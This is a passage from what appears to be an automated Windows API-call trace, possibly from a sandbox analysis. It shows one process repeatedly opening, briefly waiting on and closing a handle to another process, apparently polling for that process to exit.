0xad0 [0126.182] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.200] CloseHandle (hObject=0xad0) returned 1 [0126.200] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.200] Sleep (dwMilliseconds=0x1) [0126.214] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.214] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.229] CloseHandle (hObject=0xad0) returned 1 [0126.229] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.229] Sleep (dwMilliseconds=0x1) [0126.245] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.245] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.260] CloseHandle (hObject=0xad0) returned 1 [0126.260] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.260] Sleep (dwMilliseconds=0x1) [0126.286] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.286] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.291] CloseHandle (hObject=0xad0) returned 1 [0126.291] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.291] Sleep (dwMilliseconds=0x1) [0126.313] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.313] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.322] CloseHandle (hObject=0xad0) returned 1 [0126.323] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.323] Sleep (dwMilliseconds=0x1) [0126.338] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.338] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.354] CloseHandle (hObject=0xad0) returned 1 [0126.354] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.354] Sleep (dwMilliseconds=0x1) [0126.370] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.370] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.385] CloseHandle (hObject=0xad0) returned 1 [0126.385] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.385] Sleep (dwMilliseconds=0x1) [0126.411] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.411] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.416] CloseHandle (hObject=0xad0) returned 1 [0126.416] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.416] Sleep (dwMilliseconds=0x1) [0126.432] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.432] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.447] CloseHandle (hObject=0xad0) returned 1 [0126.447] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.447] Sleep (dwMilliseconds=0x1) [0126.463] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.463] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.482] CloseHandle (hObject=0xad0) returned 1 [0126.482] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.482] Sleep (dwMilliseconds=0x1) [0126.498] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.499] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.514] CloseHandle (hObject=0xad0) returned 1 [0126.514] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.514] Sleep (dwMilliseconds=0x1) [0126.526] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.526] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.541] CloseHandle (hObject=0xad0) returned 1 [0126.541] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.541] Sleep (dwMilliseconds=0x1) [0126.557] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.557] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.572] CloseHandle (hObject=0xad0) returned 1 [0126.572] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.572] Sleep (dwMilliseconds=0x1) [0126.588] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.588] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.603] CloseHandle (hObject=0xad0) returned 1 [0126.603] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.603] Sleep (dwMilliseconds=0x1) [0126.619] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.619] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.635] CloseHandle (hObject=0xad0) returned 1 [0126.635] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.635] Sleep (dwMilliseconds=0x1) [0126.650] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.650] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.666] CloseHandle (hObject=0xad0) returned 1 [0126.666] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.666] Sleep (dwMilliseconds=0x1) [0126.681] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.682] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.708] CloseHandle (hObject=0xad0) returned 1 [0126.708] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.708] Sleep (dwMilliseconds=0x1) [0126.713] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.713] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.728] CloseHandle (hObject=0xad0) returned 1 [0126.728] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.728] Sleep (dwMilliseconds=0x1) [0126.746] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.746] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.759] CloseHandle (hObject=0xad0) returned 1 [0126.759] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.759] Sleep (dwMilliseconds=0x1) [0126.775] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.775] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.791] CloseHandle (hObject=0xad0) returned 1 [0126.792] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.792] Sleep (dwMilliseconds=0x1) [0126.806] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.806] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.822] CloseHandle (hObject=0xad0) returned 1 [0126.822] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.822] Sleep (dwMilliseconds=0x1) [0126.837] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.837] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.853] CloseHandle (hObject=0xad0) returned 1 [0126.853] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.853] Sleep (dwMilliseconds=0x1) [0126.869] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.869] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.884] CloseHandle (hObject=0xad0) returned 1 [0126.884] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.884] Sleep (dwMilliseconds=0x1) [0126.900] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.900] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.915] CloseHandle (hObject=0xad0) returned 1 [0126.915] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.915] Sleep (dwMilliseconds=0x1) [0126.931] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.931] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.956] CloseHandle (hObject=0xad0) returned 1 [0126.956] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.956] Sleep (dwMilliseconds=0x1) [0126.962] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.962] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.978] CloseHandle (hObject=0xad0) returned 1 [0126.978] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.978] Sleep (dwMilliseconds=0x1) [0126.993] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.994] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.009] CloseHandle (hObject=0xad0) returned 1 [0127.009] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.009] Sleep (dwMilliseconds=0x1) [0127.025] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.025] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.040] CloseHandle (hObject=0xad0) returned 1 [0127.040] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.040] Sleep (dwMilliseconds=0x1) [0127.056] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.056] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.071] CloseHandle (hObject=0xad0) returned 1 [0127.071] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.071] Sleep (dwMilliseconds=0x1) [0127.087] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.087] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.102] CloseHandle (hObject=0xad0) returned 1 [0127.102] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.102] Sleep (dwMilliseconds=0x1) [0127.118] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.118] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.134] CloseHandle (hObject=0xad0) returned 1 [0127.134] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.134] Sleep (dwMilliseconds=0x1) [0127.163] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.164] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.165] CloseHandle (hObject=0xad0) returned 1 [0127.165] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.165] Sleep (dwMilliseconds=0x1) [0127.184] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.184] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.196] CloseHandle (hObject=0xad0) returned 1 [0127.196] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.196] Sleep (dwMilliseconds=0x1) [0127.212] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.212] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.228] CloseHandle (hObject=0xad0) returned 1 [0127.228] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.228] Sleep (dwMilliseconds=0x1) [0127.253] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.253] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.258] CloseHandle (hObject=0xad0) returned 1 [0127.258] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.259] Sleep (dwMilliseconds=0x1) [0127.274] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.274] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.290] CloseHandle (hObject=0xad0) returned 1 [0127.290] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.290] Sleep (dwMilliseconds=0x1) [0127.317] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.317] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.321] CloseHandle (hObject=0xad0) returned 1 [0127.321] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.321] Sleep (dwMilliseconds=0x1) [0127.337] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.337] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.352] CloseHandle (hObject=0xad0) returned 1 [0127.352] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.352] Sleep (dwMilliseconds=0x1) [0127.374] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.374] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.394] CloseHandle (hObject=0xad0) returned 1 [0127.394] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.394] Sleep (dwMilliseconds=0x1) [0127.399] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.399] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.414] CloseHandle (hObject=0xad0) returned 1 [0127.415] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.415] Sleep (dwMilliseconds=0x1) [0127.430] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.430] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.446] CloseHandle (hObject=0xad0) returned 1 [0127.446] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.446] Sleep (dwMilliseconds=0x1) [0127.461] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.462] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.477] CloseHandle (hObject=0xad0) returned 1 [0127.477] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.477] Sleep (dwMilliseconds=0x1) [0127.493] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.493] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.508] CloseHandle (hObject=0xad0) returned 1 [0127.508] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.508] Sleep (dwMilliseconds=0x1) [0127.524] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.524] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.540] CloseHandle (hObject=0xad0) returned 1 [0127.540] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.540] Sleep (dwMilliseconds=0x1) [0127.567] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.567] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.573] CloseHandle (hObject=0xad0) returned 1 [0127.573] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.573] Sleep (dwMilliseconds=0x1) [0127.587] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.587] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.618] CloseHandle (hObject=0xad0) returned 1 [0127.618] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.618] Sleep (dwMilliseconds=0x1) [0127.633] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.633] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.648] CloseHandle (hObject=0xad0) returned 1 [0127.649] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.649] Sleep (dwMilliseconds=0x1) [0127.664] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.664] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.680] CloseHandle (hObject=0xad0) returned 1 [0127.680] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.680] Sleep (dwMilliseconds=0x1) [0127.696] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.696] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.711] CloseHandle (hObject=0xad0) returned 1 [0127.711] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.711] Sleep (dwMilliseconds=0x1) [0127.727] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.727] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.765] CloseHandle (hObject=0xad0) returned 1 [0127.765] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.765] Sleep (dwMilliseconds=0x1) [0127.773] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.774] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.789] CloseHandle (hObject=0xad0) returned 1 [0127.789] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.789] Sleep (dwMilliseconds=0x1) [0127.805] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.805] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.820] CloseHandle (hObject=0xad0) returned 1 [0127.820] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.820] Sleep (dwMilliseconds=0x1) [0127.836] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.836] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.851] CloseHandle (hObject=0xad0) returned 1 [0127.851] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.851] Sleep (dwMilliseconds=0x1) [0127.876] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.876] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.882] CloseHandle (hObject=0xad0) returned 1 [0127.883] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.883] Sleep (dwMilliseconds=0x1) [0127.898] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.898] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.914] CloseHandle (hObject=0xad0) returned 1 [0127.914] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.914] Sleep (dwMilliseconds=0x1) [0127.929] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.929] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.947] CloseHandle (hObject=0xad0) returned 1 [0127.947] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.947] Sleep (dwMilliseconds=0x1) [0127.963] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.963] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0127.976] CloseHandle (hObject=0xad0) returned 1 [0127.976] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0127.976] Sleep (dwMilliseconds=0x1) [0127.992] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0127.992] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.007] CloseHandle (hObject=0xad0) returned 1 [0128.007] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.007] Sleep (dwMilliseconds=0x1) [0128.023] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.023] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.038] CloseHandle (hObject=0xad0) returned 1 [0128.038] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 